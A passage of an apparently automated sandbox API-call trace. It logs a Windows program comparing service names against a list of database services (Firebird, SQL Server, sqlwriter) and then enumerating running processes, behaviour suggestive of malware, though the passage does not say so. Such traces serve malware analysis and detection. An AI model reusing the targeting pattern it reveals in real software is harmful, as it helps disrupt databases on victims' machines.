(lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0248.449] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0248.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0248.449] lstrlenW (lpString="iphlpsvc") returned 8 [0248.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0248.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0248.450] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0248.450] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0248.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0248.450] lstrlenW (lpString="KeyIso") returned 6 [0248.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0248.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0248.450] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0248.450] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0248.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0248.450] lstrlenW (lpString="LanmanServer") returned 12 [0248.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0248.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0248.450] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0248.450] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0248.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0248.450] lstrlenW (lpString="LanmanWorkstation") returned 17 [0248.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.450] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0248.450] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0248.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0248.450] lstrlenW (lpString="lfsvc") returned 5 [0248.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0248.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0248.450] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0248.450] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0248.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0248.451] lstrlenW (lpString="lmhosts") returned 7 [0248.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0248.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0248.451] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0248.451] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0248.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0248.451] lstrlenW (lpString="LSM") returned 3 [0248.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0248.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0248.451] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0248.451] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0248.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0248.451] lstrlenW (lpString="MpsSvc") returned 6 [0248.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0248.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0248.451] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0248.451] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0248.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0248.451] lstrlenW (lpString="NcbService") returned 10 [0248.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0248.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0248.451] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0248.451] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0248.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0248.451] lstrlenW (lpString="netprofm") returned 8 [0248.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0248.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0248.452] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0248.452] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0248.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0248.452] lstrlenW (lpString="NgcSvc") returned 6 [0248.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0248.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0248.452] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0248.452] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0248.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0248.452] lstrlenW (lpString="NlaSvc") returned 6 [0248.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0248.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0248.452] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0248.452] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0248.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0248.452] lstrlenW (lpString="nsi") returned 3 [0248.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0248.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0248.452] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0248.452] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0248.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0248.452] lstrlenW (lpString="PcaSvc") returned 6 [0248.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0248.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0248.452] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0248.452] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0248.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0248.453] lstrlenW (lpString="PlugPlay") returned 8 [0248.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0248.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0248.453] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0248.453] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0248.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0248.453] lstrlenW (lpString="Power") returned 5 [0248.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0248.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0248.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0248.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0248.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0248.453] lstrlenW (lpString="ProfSvc") returned 7 [0248.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0248.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0248.453] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0248.453] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0248.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0248.453] lstrlenW (lpString="RpcEptMapper") returned 12 [0248.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.453] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0248.453] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0248.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0248.453] lstrlenW (lpString="RpcSs") returned 5 [0248.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0248.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0248.454] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0248.454] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0248.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0248.454] lstrlenW (lpString="SamSs") returned 5 [0248.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0248.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0248.454] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0248.454] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0248.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0248.454] lstrlenW (lpString="Schedule") returned 8 [0248.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0248.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0248.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0248.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0248.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0248.454] lstrlenW (lpString="SecurityHealthService") returned 21 [0248.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0248.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0248.454] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0248.454] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0248.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0248.454] lstrlenW (lpString="SENS") returned 4 [0248.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0248.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0248.454] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0248.454] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0248.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0248.455] lstrlenW (lpString="ShellHWDetection") returned 16 [0248.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.455] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0248.455] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0248.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0248.455] lstrlenW (lpString="Spooler") returned 7 [0248.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0248.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0248.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0248.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0248.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0248.455] lstrlenW (lpString="StateRepository") returned 15 [0248.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0248.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0248.455] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0248.455] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0248.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0248.455] lstrlenW (lpString="SysMain") returned 7 [0248.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0248.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0248.455] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0248.455] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0248.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0248.455] lstrlenW (lpString="SystemEventsBroker") returned 18 [0248.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0248.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0248.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0248.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0248.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0248.456] lstrlenW (lpString="Themes") returned 6 [0248.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0248.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0248.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0248.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0248.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0248.456] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0248.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0248.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0248.456] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0248.456] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0248.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205e48 | out: hHeap=0x670000) returned 1 [0248.456] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ec [0248.463] Process32FirstW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.579] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.579] lstrlenW (lpString="System") returned 6 [0248.579] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.580] lstrlenW (lpString="smss.exe") returned 8 [0248.580] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.580] lstrlenW (lpString="csrss.exe") returned 9 [0248.580] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.581] lstrlenW (lpString="wininit.exe") returned 11 [0248.581] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.581] lstrlenW (lpString="csrss.exe") returned 9 [0248.581] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.582] lstrlenW (lpString="winlogon.exe") returned 12 [0248.582] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.582] lstrlenW (lpString="services.exe") returned 12 [0248.582] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.583] lstrlenW (lpString="lsass.exe") returned 9 [0248.583] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0248.583] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0248.583] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0248.584] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0248.584] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.584] lstrlenW (lpString="svchost.exe") returned 11 [0248.584] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.585] lstrlenW (lpString="svchost.exe") returned 11 [0248.585] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.585] lstrlenW (lpString="dwm.exe") returned 7 [0248.586] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.586] lstrlenW (lpString="svchost.exe") returned 11 [0248.586] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.587] lstrlenW (lpString="svchost.exe") returned 11 [0248.587] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.587] lstrlenW (lpString="svchost.exe") returned 11 [0248.587] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.588] lstrlenW (lpString="svchost.exe") returned 11 [0248.588] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.588] lstrlenW (lpString="svchost.exe") returned 11 [0248.588] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.589] lstrlenW (lpString="svchost.exe") returned 11 [0248.589] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.590] lstrlenW (lpString="svchost.exe") returned 11 [0248.590] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.590] lstrlenW (lpString="svchost.exe") returned 11 [0248.590] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.591] lstrlenW (lpString="svchost.exe") returned 11 [0248.591] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.591] lstrlenW (lpString="svchost.exe") returned 11 [0248.592] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.592] lstrlenW (lpString="spoolsv.exe") returned 11 [0248.592] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.593] lstrlenW (lpString="svchost.exe") returned 11 [0248.593] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.593] lstrlenW (lpString="audiodg.exe") returned 11 [0248.593] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0248.594] lstrlenW (lpString="sihost.exe") returned 10 [0248.594] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.594] lstrlenW (lpString="svchost.exe") returned 11 [0248.594] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0248.595] lstrlenW (lpString="taskhostw.exe") returned 13 [0248.595] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0248.595] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0248.595] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0248.596] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0248.596] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, 